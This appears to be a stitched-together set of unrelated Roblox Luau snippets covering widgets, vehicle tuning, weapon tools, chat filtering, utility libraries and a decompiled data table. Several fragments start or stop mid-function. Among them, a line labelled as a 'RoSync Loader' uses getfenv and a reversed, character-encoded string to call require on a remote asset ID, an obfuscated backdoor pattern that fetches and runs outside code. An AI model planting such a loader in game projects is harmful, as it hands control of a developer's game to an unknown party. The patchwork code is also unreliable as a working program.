local ERROR_NON_FUNCTION = "Please pass a handler function to %s!"
local MODE_KEY_METATABLE = { __mode = "k" }
local function isCallable(value)
if type(value) == "function" then
return true
end
if type(value) == "table" then
local metatable = getmetatable(value)
if metatable and type(rawget(metatable, "__call")) == "function" then
return true
end
end
return false
end
|
--[=[
@within Plasma
@function portal
@tag widgets
@param targetInstance Instance -- Where the portal goes to
@param children () -> () -- Children
The portal widget creates its children inside the specified `targetInstance`. For example, you could use this
to create lighting effects in Lighting as a widget:
```lua
return function(size)
portal(Lighting, function()
useInstance(function()
local blur = Instance.new("BlurEffect")
blur.Size = size
return blur
end)
end)
end
```
]=]
|
local Runtime = require(script.Parent.Parent.Runtime)
return Runtime.widget(function(targetInstance, fn)
Runtime.useInstance(function()
return nil, targetInstance
end)
Runtime.scope(fn)
end)
|
--Starter Character Scripts
|
local MaxSpeed = 70
while true do
wait()
if script.Parent.Humanoid.MoveDirection == Vector3.new(0,0,0) then
script.Parent.Humanoid.WalkSpeed = 1
else
script.Parent.Humanoid.WalkSpeed = script.Parent.Humanoid.WalkSpeed + .4
if script.Parent.Humanoid.WalkSpeed >= MaxSpeed then
script.Parent.Humanoid.WalkSpeed = MaxSpeed
end
end
end
|
--[=[
@return Trove
Creates and adds another trove to itself. This is just shorthand
for `trove:Construct(Trove)`. This is useful for contexts where
the trove object is present, but the class itself isn't.
:::note
This does _not_ clone the trove. In other words, the objects in the
trove are not given to the new constructed trove. This is simply to
construct a new Trove and add it as an object to track.
:::
```lua
local trove = Trove.new()
local subTrove = trove:Extend()
trove:Clean() -- Cleans up the subTrove too
```
]=]
|
function Trove:Extend()
if self._cleaning then
error("Cannot call trove:Extend() while cleaning", 2)
end
return self:Construct(Trove)
end
|
--[=[
Throttles emission of observables.
https://rxjs-dev.firebaseapp.com/api/operators/debounceTime
:::note
Note that on complete, the last item is not included, for now, unlike the existing version in rxjs.
:::
@param duration number
@param throttleConfig { leading = true; trailing = true; }
@return (source: Observable) -> Observable
]=]
|
function Rx.throttleTime(duration, throttleConfig)
assert(type(duration) == "number", "Bad duration")
assert(type(throttleConfig) == "table" or throttleConfig == nil, "Bad throttleConfig")
return function(source)
assert(Observable.isObservable(source), "Bad observable")
return Observable.new(function(sub)
local maid = Maid.new()
local throttledFunction = ThrottledFunction.new(duration, function(...)
sub:Fire(...)
end, throttleConfig)
maid:GiveTask(throttledFunction)
maid:GiveTask(source:Subscribe(function(...)
throttledFunction:Call(...)
end, sub:GetFailComplete()))
return maid
end)
end
end
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local car = script.Parent.Car.Value
local vl = script.Parent.Values
local strength = 350
local max = 8 --in sps
while wait() do
if (vl.Throttle.Value < 0.1 and vl.RPM.Value > 0 and vl.Velocity.Value.Magnitude < max and (math.abs(vl.Gear.Value) > 0)) and vl.Brake.Value == 0 then
car.Body.Creep.BV.MaxForce = Vector3.new(strength,0,strength)
else
car.Body.Creep.BV.MaxForce = Vector3.new(0,0,0)
end
car.Body.Creep.BV.Velocity = car.Body.Creep.CFrame.lookVector*(8*(math.min(vl.Gear.Value,1)))
end
|
--// Damage Settings
|
BaseDamage = 20; -- Torso Damage
LimbDamage = 18; -- Arms and Legs
ArmorDamage = 15; -- How much damage is dealt against armor (Name the armor "Armor")
HeadDamage = 38; -- If you set this to 100, there's a chance the player won't die because of the heal script
|
--[=[
@function first
@within Array
@param array {T} -- The array to get the first item from.
@return T -- The first item in the array.
Gets the first item in the array.
```lua
local array = { 1, 2, 3 }
local value = First(array) -- 1
```
]=]
|
local function first<T>(array: { T }): T
return At(array, 1)
end
return first
|
-- @preconditions: vec should be a unit vector, and 0 < rayLength <= 1000
|
function RayCast(startPos, vec, rayLength)
local hitObject, hitPos = workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
if hitObject and hitPos then
local distance = rayLength - (hitPos - startPos).magnitude
if RayIgnoreCheck(hitObject, hitPos) and distance > 0 then
-- there is a chance here for potential infinite recursion
return RayCast(hitPos, vec, distance)
end
end
return hitObject, hitPos
end
function TagHumanoid(humanoid, player)
-- Add more tags here to customize what tags are available.
while humanoid:FindFirstChild('creator') do
humanoid:FindFirstChild('creator'):Destroy()
end
local creatorTag = Instance.new("ObjectValue")
creatorTag.Value = player
creatorTag.Name = "creator"
creatorTag.Parent = humanoid
DebrisService:AddItem(creatorTag, 1.5)
local weaponIconTag = Instance.new("StringValue")
weaponIconTag.Value = IconURL
weaponIconTag.Name = "icon"
weaponIconTag.Parent = creatorTag
end
local function CreateFlash()
if FlashHolder then
local flash = Instance.new('Fire', FlashHolder)
flash.Color = Color3.new(1, 140 / 255, 0)
flash.SecondaryColor = Color3.new(1, 0, 0)
flash.Size = 0.3
DebrisService:AddItem(flash, FireRate / 1.5)
else
FlashHolder = Instance.new("Part", Tool)
FlashHolder.Transparency = 1
FlashHolder.CanCollide= false
FlashHolder.Size = Vector3.new(1, 1, 1)
FlashHolder.Position = Tool.Handle.Position
local Weld = Instance.new("ManualWeld")
Weld.C0 = CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld.C1 = CFrame.new(0, 2.2, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0)
Weld.Part0 = FlashHolder
Weld.Part1 = Tool.Handle
Weld.Parent = FlashHolder
end
end
local function CreateBullet(bulletPos)
local bullet = Instance.new('Part', workspace)
bullet.FormFactor = Enum.FormFactor.Custom
bullet.Size = Vector3.new(0.1, 0.1, 0.1)
bullet.BrickColor = MyPlayer.TeamColor
bullet.Shape = Enum.PartType.Ball
bullet.CanCollide = false
bullet.CFrame = CFrame.new(bulletPos)
bullet.Anchored = true
bullet.TopSurface = Enum.SurfaceType.Smooth
bullet.BottomSurface = Enum.SurfaceType.Smooth
bullet.Name = 'Bullet'
DebrisService:AddItem(bullet, 2.5)
local fire = Instance.new("Fire", bullet)
fire.Color = Color3.new(MyPlayer.TeamColor.r, MyPlayer.TeamColor.g, MyPlayer.TeamColor.b)
fire.SecondaryColor = Color3.new(MyPlayer.TeamColor.r, MyPlayer.TeamColor.g, MyPlayer.TeamColor.b)
fire.Size = 5
fire.Heat = 0
DebrisService:AddItem(fire, 0.2)
return bullet
end
local function Reload()
if not Reloading then
Reloading = true
-- Don't reload if you are already full or have no extra ammo
if AmmoInClip ~= ClipSize and SpareAmmo > 0 then
if RecoilTrack then
RecoilTrack:Stop()
end
if WeaponGui and WeaponGui:FindFirstChild('Crosshair') then
if WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then
WeaponGui.Crosshair.ReloadingLabel.Visible = true
end
end
wait(ReloadTime)
-- Only use as much ammo as you have
local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
AmmoInClip = AmmoInClip + ammoToUse
SpareAmmo = SpareAmmo - ammoToUse
UpdateAmmo(AmmoInClip)
end
Reloading = false
end
end
function OnFire()
if IsShooting then return end
if MyHumanoid and MyHumanoid.Health > 0 then
if RecoilTrack and AmmoInClip > 0 then
RecoilTrack:Play()
end
IsShooting = true
while LeftButtonDown and AmmoInClip > 0 and not Reloading do
if Spread and not DecreasedAimLastShot then
Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
UpdateCrosshair(Spread)
end
DecreasedAimLastShot = not DecreasedAimLastShot
if Handle:FindFirstChild('FireSound') then
Handle.FireSound:Play()
end
CreateFlash()
if MyMouse then
local targetPoint = MyMouse.Hit.p
local shootDirection = (targetPoint - Handle.Position).unit
-- Adjust the shoot direction randomly off by a little bit to account for recoil
shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
(0.5 - math.random()) * 2 * Spread,
(0.5 - math.random()) * 2 * Spread) * shootDirection
local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
local bullet
-- Create a bullet here
if hitObject then
bullet = CreateBullet(bulletPos)
end
if hitObject and hitObject.Parent then
local hitHumanoid = hitObject.Parent:FindFirstChild("Humanoid")
if hitHumanoid then
local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
TagHumanoid(hitHumanoid, MyPlayer)
hitHumanoid:TakeDamage(Damage)
if bullet then
bullet:Destroy()
bullet = nil
--bullet.Transparency = 1
end
spawn(UpdateTargetHit)
end
end
end
AmmoInClip = AmmoInClip - 1
UpdateAmmo(AmmoInClip)
end
wait(FireRate)
end
IsShooting = false
if AmmoInClip == 0 then
Reload()
end
if RecoilTrack then
RecoilTrack:Stop()
end
end
end
local TargetHits = 0
function UpdateTargetHit()
TargetHits = TargetHits + 1
if WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then
WeaponGui.Crosshair.TargetHitImage.Visible = true
end
wait(0.5)
TargetHits = TargetHits - 1
if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then
WeaponGui.Crosshair.TargetHitImage.Visible = false
end
end
function UpdateCrosshair(value, mouse)
if WeaponGui then
local absoluteY = 650
WeaponGui.Crosshair:TweenSize(
UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
Enum.EasingDirection.Out,
Enum.EasingStyle.Linear,
0.33)
end
end
function UpdateAmmo(value)
if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('ClipAmmo') then
WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
if value > 0 and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then
WeaponGui.Crosshair.ReloadingLabel.Visible = false
end
end
if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('TotalAmmo') then
WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
end
end
function OnMouseDown()
LeftButtonDown = true
OnFire()
end
function OnMouseUp()
LeftButtonDown = false
end
function OnKeyDown(key)
if string.lower(key) == 'r' then
Reload()
end
end
function OnEquipped(mouse)
RecoilAnim = WaitForChild(Tool, 'Recoil')
FireSound = WaitForChild(Handle, 'FireSound')
MyCharacter = Tool.Parent
MyPlayer = game:GetService('Players'):GetPlayerFromCharacter(MyCharacter)
MyHumanoid = MyCharacter:FindFirstChild('Humanoid')
MyTorso = MyCharacter:FindFirstChild('Torso')
MyMouse = mouse
WeaponGui = WaitForChild(Tool, 'WeaponHud'):Clone()
if WeaponGui and MyPlayer then
WeaponGui.Parent = MyPlayer.PlayerGui
UpdateAmmo(AmmoInClip)
end
if RecoilAnim then
RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
end
if MyMouse then
-- Disable mouse icon
MyMouse.Icon = "http://www.roblox.com/asset/?id=18662154"
MyMouse.Button1Down:connect(OnMouseDown)
MyMouse.Button1Up:connect(OnMouseUp)
MyMouse.KeyDown:connect(OnKeyDown)
end
end
|
-------- OMG HAX
|
r = game:service("RunService")
local damage = 0 + (script.AddDam.Value/4)
local slash_damage = 0 + script.AddDam.Value
sword = script.Parent.Handle
Tool = script.Parent
local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "http://www.roblox.com/asset/?id=10730819"
SlashSound.Parent = sword
SlashSound.Volume = 1
local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "http://www.roblox.com/asset/?id=12722518"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1
function blow(hit)
local humanoid = hit.Parent:findFirstChild("Humanoid")
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local hum = vCharacter:findFirstChild("Immortal") -- non-nil if tool held by a character
if humanoid~=nil and humanoid ~= hum and hum ~= nil then
-- final check, make sure sword is in-hand
local right_arm = vCharacter:FindFirstChild("Right Arm")
if (right_arm ~= nil) then
local joint = right_arm:FindFirstChild("RightGrip")
if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(damage)
wait(1)
untagHumanoid(humanoid)
end
end
end
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
function attack()
damage = slash_damage
SlashSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
function swordUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,1)
end
function swordOut()
Tool.GripForward = Vector3.new(0,0,1)
Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Immortal
if humanoid == nil then
print("Humanoid not found")
return
end
attack()
wait(1)
Tool.Enabled = true
end
function onEquipped()
UnsheathSound:play()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
connection = sword.Touched:connect(blow)
|
--Miscellaneous Settings:
|
LEAVE_DISABLE = true --Turns off the engine when you leave the car
GEAR_SPEED = 2.5 --Directly affects cam gear spin speed (Arbitrary)
SHAKE_ANGLE = 2.5 --Max angle of the engine shake in degrees
SHAKE_VALUE = 1.0 --Intensity of the engine shake (Arbitrary)
MH_THRESHOLD = 6800 --RPM value in which manifold heats up
MH_COOLDOWN = 2.5 --Manifold cool down rate
BELT_SPEED = 5.0 --Speed of the belt (Arbitrary)
BELT_TEXTURE = 5503797483 --TextureID of belt in case you did not put it in the TextureID StringValue object
BELT_WIDTH = 0.1 --Width of belt in case you did not put it in the BeltWidth StringValue object
TURBO_SPEED = 1.0 --Directly affects turbo fan spin speed (Arbitrary)
TURBO_BLUR = true --Turbo fan motion blur
|
--//INSPARE//--
|
local player = game.Players.LocalPlayer
local lightOn = false
local car = script.Parent.Car.Value
|
--[[ Last synced 7/19/2021 08:28 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
-- Etc
|
local DESTROY_ON_DEATH = getValueFromConfig("DestroyOnDeath")
local RAGDOLL_ENABLED = getValueFromConfig("RagdollEnabled")
local DEATH_DESTROY_DELAY = 5
local PATROL_WALKSPEED = 0
local MIN_REPOSITION_TIME = 2
local MAX_REPOSITION_TIME = 10
local MAX_PARTS_PER_HEARTBEAT = 50
local SEARCH_DELAY = 1
|
-----------------
--| Variables |--
-----------------
|
local Tool = script.Parent
local ToolHandle = Tool.Handle
local MyModel = nil
local ReloadRocket = nil
local StillEquipped = false
|
--[[ Public API ]]
|
--
function Gamepad:Enable()
local forwardValue = 0
local backwardValue = 0
local leftValue = 0
local rightValue = 0
local moveFunc = LocalPlayer.Move
local gamepadSupports = UserInputService.GamepadSupports
local controlCharacterGamepad1 = function(actionName, inputState, inputObject)
if inputObject.UserInputType ~= Enum.UserInputType.Gamepad1 then return end
if inputObject.KeyCode ~= Enum.KeyCode.Thumbstick1 then return end
if hasCancelType and inputState == Enum.UserInputState.Cancel then
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(0,0,0)
return
end
if inputObject.Position.magnitude > thumbstickDeadzone then
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(inputObject.Position.X, 0, -inputObject.Position.Y)
MasterControl:AddToPlayerMovement(currentMoveVector)
else
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(0,0,0)
end
end
local jumpCharacterGamepad1 = function(actionName, inputState, inputObject)
if inputObject.UserInputType ~= Enum.UserInputType.Gamepad1 then return end
if inputObject.KeyCode ~= Enum.KeyCode.ButtonA then return end
if hasCancelType and inputState == Enum.UserInputState.Cancel then
MasterControl:SetIsJumping(false)
return
end
MasterControl:SetIsJumping(inputObject.UserInputState == Enum.UserInputState.Begin)
end
local doDpadMoveUpdate = function()
if not gamepadSupports(UserInputService, Enum.UserInputType.Gamepad1, Enum.KeyCode.Thumbstick1) then
if LocalPlayer and LocalPlayer.Character then
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(leftValue + rightValue,0,forwardValue + backwardValue)
MasterControl:AddToPlayerMovement(currentMoveVector)
end
end
end
local moveForwardFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.End then
forwardValue = -1
elseif inputState == Enum.UserInputState.Begin or (hasCancelType and inputState == Enum.UserInputState.Cancel) then
forwardValue = 0
end
doDpadMoveUpdate()
end
local moveBackwardFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.End then
backwardValue = 1
elseif inputState == Enum.UserInputState.Begin or (hasCancelType and inputState == Enum.UserInputState.Cancel) then
backwardValue = 0
end
doDpadMoveUpdate()
end
local moveLeftFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.End then
leftValue = -1
elseif inputState == Enum.UserInputState.Begin or (hasCancelType and inputState == Enum.UserInputState.Cancel) then
leftValue = 0
end
doDpadMoveUpdate()
end
local moveRightFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.End then
rightValue = 1
elseif inputState == Enum.UserInputState.Begin or (hasCancelType and inputState == Enum.UserInputState.Cancel) then
rightValue = 0
end
doDpadMoveUpdate()
end
ContextActionService:BindAction("JumpButton",jumpCharacterGamepad1, false, Enum.KeyCode.ButtonA)
ContextActionService:BindAction("MoveThumbstick",controlCharacterGamepad1, false, Enum.KeyCode.Thumbstick1)
ContextActionService:BindAction("forwardDpad", moveForwardFunc, false, Enum.KeyCode.DPadUp)
ContextActionService:BindAction("backwardDpad", moveBackwardFunc, false, Enum.KeyCode.DPadDown)
ContextActionService:BindAction("leftDpad", moveLeftFunc, false, Enum.KeyCode.DPadLeft)
ContextActionService:BindAction("rightDpad", moveRightFunc, false, Enum.KeyCode.DPadRight)
ContextActionService:BindActivate(Enum.UserInputType.Gamepad1, Enum.KeyCode.ButtonR2)
UserInputService.GamepadDisconnected:connect(function(gamepadEnum)
if gamepadEnum ~= Enum.UserInputType.Gamepad1 then return end
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(0,0,0)
end)
UserInputService.GamepadConnected:connect(function(gamepadEnum)
if gamepadEnum ~= Enum.UserInputType.Gamepad1 then return end
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(0,0,0)
end)
end
function Gamepad:Disable()
ContextActionService:UnbindAction("forwardDpad")
ContextActionService:UnbindAction("backwardDpad")
ContextActionService:UnbindAction("leftDpad")
ContextActionService:UnbindAction("rightDpad")
ContextActionService:UnbindAction("MoveThumbstick")
ContextActionService:UnbindAction("JumpButton")
ContextActionService:UnbindActivate(Enum.UserInputType.Gamepad1, Enum.KeyCode.ButtonR2)
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(0,0,0)
MasterControl:SetIsJumping(false)
end
return Gamepad
|
-- if userPlayEmoteByIdAnimTrackReturn then
-- return true, currentAnimTrack
-- else
-- return true
-- end
-- elseif typeof(emote) == "Instance" and emote:IsA("Animation") then
-- -- Non-default emotes
-- playEmote(emote, EMOTE_TRANSITION_TIME, Humanoid)
| |
--[[Weight and CG]]
|
Tune.Weight = 2963 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 4.4 ,
--[[Length]] 15 }
Tune.WeightDist = 55 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = 1.3 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = MORE STABLE / carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
-- Set camera tilt correction for mobile:
|
function CamLock.SetMobileDeviceBank(bank)
mobileDeviceBank = bank
end
|
-- find player's head pos
|
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local head = vCharacter:findFirstChild("Head")
if head == nil then return end
local dir = mouse_pos - head.Position
dir = computeDirection(dir)
local launch = head.Position + 5 * dir
local delta = mouse_pos - launch
local dy = delta.y
local new_delta = Vector3.new(delta.x, 0, delta.z)
delta = new_delta
local dx = delta.magnitude
local unit_delta = delta.unit
-- acceleration due to gravity in RBX units
local g = (-9.81 * 20)
local theta = computeLaunchAngle( dx, dy, g)
local vy = math.sin(theta)
local xz = math.cos(theta)
local vx = unit_delta.x * xz
local vz = unit_delta.z * xz
local missile = Pellet:clone()
Tool.Handle.Mesh:clone().Parent = missile
missile.Position = launch
missile.Velocity = Vector3.new(vx,vy,vz) * VELOCITY
missile.PelletScript.Disabled = false
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = vCharacter
creator_tag.Name = "creator"
creator_tag.Parent = missile
missile.Parent = game.Workspace
end
function computeLaunchAngle(dx,dy,grav)
-- arcane
-- http://en.wikipedia.org/wiki/Trajectory_of_a_projectile
local g = math.abs(grav)
local inRoot = (VELOCITY*VELOCITY*VELOCITY*VELOCITY) - (g * ((g*dx*dx) + (2*dy*VELOCITY*VELOCITY)))
if inRoot <= 0 then
return .25 * math.pi
end
local root = math.sqrt(inRoot)
local inATan1 = ((VELOCITY*VELOCITY) + root) / (g*dx)
local inATan2 = ((VELOCITY*VELOCITY) - root) / (g*dx)
local answer1 = math.atan(inATan1)
local answer2 = math.atan(inATan2)
if answer1 < answer2 then return answer1 end
return answer2
end
function computeDirection(vec)
local lenSquared = vec.magnitude * vec.magnitude
local invSqrt = 1 / math.sqrt(lenSquared)
return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
if loaded==true then
loaded=false
local targetPos = humanoid.TargetPoint
fire(targetPos)
wait(.2)
Tool.Enabled = true
elseif loaded==false then
Tool.Parent.Torso["Right Shoulder"].MaxVelocity = 0.6
Tool.Parent.Torso["Right Shoulder"].DesiredAngle = -3.6
wait(.1)
Tool.Handle.Transparency=0
wait(.1)
loaded=true
end
Tool.Enabled = true
end
script.Parent.Activated:connect(onActivated)
|
--[[
Function called when leaving the state
]]
|
function PlayerFinished.leave(stateMachine, playerComponent)
playerComponent:destroyVehicle()
end
return PlayerFinished
|
--!strict
-- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MIN_SAFE_INTEGER
|
return -9007199254740991
|
--///////////////// Internal-Use Methods
--//////////////////////////////////////
--DO NOT REMOVE THIS. Chat must be filtered or your game will face
--moderation.
|
function methods:InternalApplyRobloxFilter(speakerName, message, toSpeakerName) --// USES FFLAG
if (RunService:IsServer() and not RunService:IsStudio()) then
local fromSpeaker = self:GetSpeaker(speakerName)
local toSpeaker = toSpeakerName and self:GetSpeaker(toSpeakerName)
if fromSpeaker == nil then
return nil
end
local fromPlayerObj = fromSpeaker:GetPlayer()
local toPlayerObj = toSpeaker and toSpeaker:GetPlayer()
if fromPlayerObj == nil then
return message
end
if allSpaces(message) then
return message
end
local filterStartTime = tick()
local filterRetries = 0
while true do
local success, message = pcall(function()
if toPlayerObj then
return Chat:FilterStringAsync(message, fromPlayerObj, toPlayerObj)
else
return Chat:FilterStringForBroadcast(message, fromPlayerObj)
end
end)
if success then
return message
else
warn("Error filtering message:", message)
end
filterRetries = filterRetries + 1
if filterRetries > MAX_FILTER_RETRIES or (tick() - filterStartTime) > MAX_FILTER_DURATION then
self:InternalNotifyFilterIssue()
return nil
end
local backoffInterval = FILTER_BACKOFF_INTERVALS[math.min(#FILTER_BACKOFF_INTERVALS, filterRetries)]
-- backoffWait = backoffInterval +/- (0 -> backoffInterval)
local backoffWait = backoffInterval + ((math.random()*2 - 1) * backoffInterval)
wait(backoffWait)
end
else
--// Simulate filtering latency.
--// There is only latency the first time the message is filtered, all following calls will be instant.
if not StudioMessageFilteredCache[message] then
StudioMessageFilteredCache[message] = true
wait()
end
return message
end
return nil
end
|
-- LOCAL
|
local players = game:GetService("Players")
local runService = game:GetService("RunService")
local heartbeat = runService.Heartbeat
local localPlayer = runService:IsClient() and players.LocalPlayer
local replicatedStorage = game:GetService("ReplicatedStorage")
local httpService = game:GetService("HttpService")
local Enum_ = require(script.Enum)
local enum = Enum_.enums
local Janitor = require(script.Janitor)
local Signal = require(script.Signal)
local ZonePlusReference = require(script.ZonePlusReference)
local referenceObject = ZonePlusReference.getObject()
local zoneControllerModule = script.ZoneController
local trackerModule = zoneControllerModule.Tracker
local collectiveWorldModelModule = zoneControllerModule.CollectiveWorldModel
local ZoneController = require(zoneControllerModule)
local referenceLocation = (game:GetService("RunService"):IsClient() and "Client") or "Server"
local referencePresent = referenceObject and referenceObject:FindFirstChild(referenceLocation)
if referencePresent then
return require(referenceObject.Value)
end
local Zone = {}
Zone.__index = Zone
if not referencePresent then
ZonePlusReference.addToReplicatedStorage()
end
Zone.enum = enum
|
-- PopperCam mod
|
local Poppercam = require(popperCamModule)
local ZoomController = require(cameraModule:WaitForChild("ZoomController"))
function Poppercam:Update(renderDt, desiredCameraCFrame, desiredCameraFocus, cameraController)
local rotatedFocus = desiredCameraFocus * (desiredCameraCFrame - desiredCameraCFrame.p)
local extrapolation = self.focusExtrapolator:Step(renderDt, rotatedFocus)
local zoom = ZoomController.Update(renderDt, rotatedFocus, extrapolation)
return rotatedFocus*CFrame.new(0, 0, zoom), desiredCameraFocus
end
|
--[[
A special key for property tables, which parents any given descendants into
an instance.
]]
|
local Package = script.Parent.Parent
local PubTypes = require(Package.PubTypes)
local logWarn = require(Package.Logging.logWarn)
local Observer = require(Package.State.Observer)
local xtypeof = require(Package.Utility.xtypeof)
type Set<T> = {[T]: boolean}
|
--[[
A 'Symbol' is an opaque marker type.
Symbols have the type 'userdata', but when printed to the console, the name
of the symbol is shown.
]]
|
local Symbol = {}
|
-- Frame that contains the selection
|
local SelectionFrame = InteractionGui:WaitForChild("SelectionFrame")
local TopBar = PlayerGui:WaitForChild("TopBar")
|
-- Decompiled with the Synapse X Luau decompiler.
|
return {
["Fantasy Coins"] = {
canDrop = true,
dropWeight = 40,
isUnique = false,
tiers = { {
title = "Fantasy Coins I",
desc = "Pet earns +15% more Fantasy Coins",
value = 1.15
}, {
title = "Fantasy Coins II",
desc = "Pet earns +30% more Fantasy Coins",
value = 1.3
}, {
title = "Fantasy Coins III",
desc = "Pet earns +50% more Fantasy Coins",
value = 1.5
}, {
title = "Fantasy Coins IV",
desc = "Pet earns +75% more Fantasy Coins",
value = 1.75
}, {
title = "Fantasy Coins V",
desc = "Pet earns +100% more Fantasy Coins",
value = 2
} }
}
};
|
--[=[
Add a task to clean up. Tasks given to a maid will be cleaned when
maid[index] is set to a different value.
Task cleanup is such that if the task is an event, it is disconnected.
If it is an object, it is destroyed.
```
Maid[key] = (function) Adds a task to perform
Maid[key] = (event connection) Manages an event connection
Maid[key] = (thread) Manages a thread
Maid[key] = (Maid) Maids can act as an event connection, allowing a Maid to have other maids to clean up.
Maid[key] = (Object) Maids can cleanup objects with a `Destroy` method
Maid[key] = nil Removes a named task.
```
@param index any
@param newTask MaidTask
]=]
|
function Maid:__newindex(index, newTask)
if Maid[index] ~= nil then
error(("Cannot use '%s' as a Maid key"):format(tostring(index)), 2)
end
local tasks = self._tasks
local oldTask = tasks[index]
if oldTask == newTask then
return
end
tasks[index] = newTask
if oldTask then
if type(oldTask) == "function" then
oldTask()
elseif type(oldTask) == "thread" then
local cancelled
if coroutine.running() ~= oldTask then
cancelled = pcall(function()
task.cancel(oldTask)
end)
end
if not cancelled then
task.defer(function()
task.cancel(oldTask)
end)
end
elseif typeof(oldTask) == "RBXScriptConnection" then
oldTask:Disconnect()
elseif oldTask.Destroy then
oldTask:Destroy()
end
end
end
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
return plrData.Character.Stats.Days.Value < 1
end
|
-- Properties
|
local Map = {}
local Groups = {}
local EmptySound = Instance.new("Sound")
|
--[[
CameraShakePresets.Bump
CameraShakePresets.Explosion
CameraShakePresets.Earthquake
CameraShakePresets.BadTrip
CameraShakePresets.HandheldCamera
CameraShakePresets.Vibration
CameraShakePresets.RoughDriving
--]]
|
local CameraShakeInstance = require(script.Parent.CameraShakeInstance)
local CameraShakePresets = {
-- A high-magnitude, short, yet smooth shake.
-- Should happen once.
Bump = function()
local c = CameraShakeInstance.new(2.5, 4, 0.1, 0.75)
c.PositionInfluence = Vector3.new(0.15, 0.15, 0.15)
c.RotationInfluence = Vector3.new(1, 1, 1)
return c
end;
-- A high-magnitude, short, yet smooth shake.
-- Should happen once.
Knocked = function()
local c = CameraShakeInstance.new(2.5, 8, 0.05, 0.75)
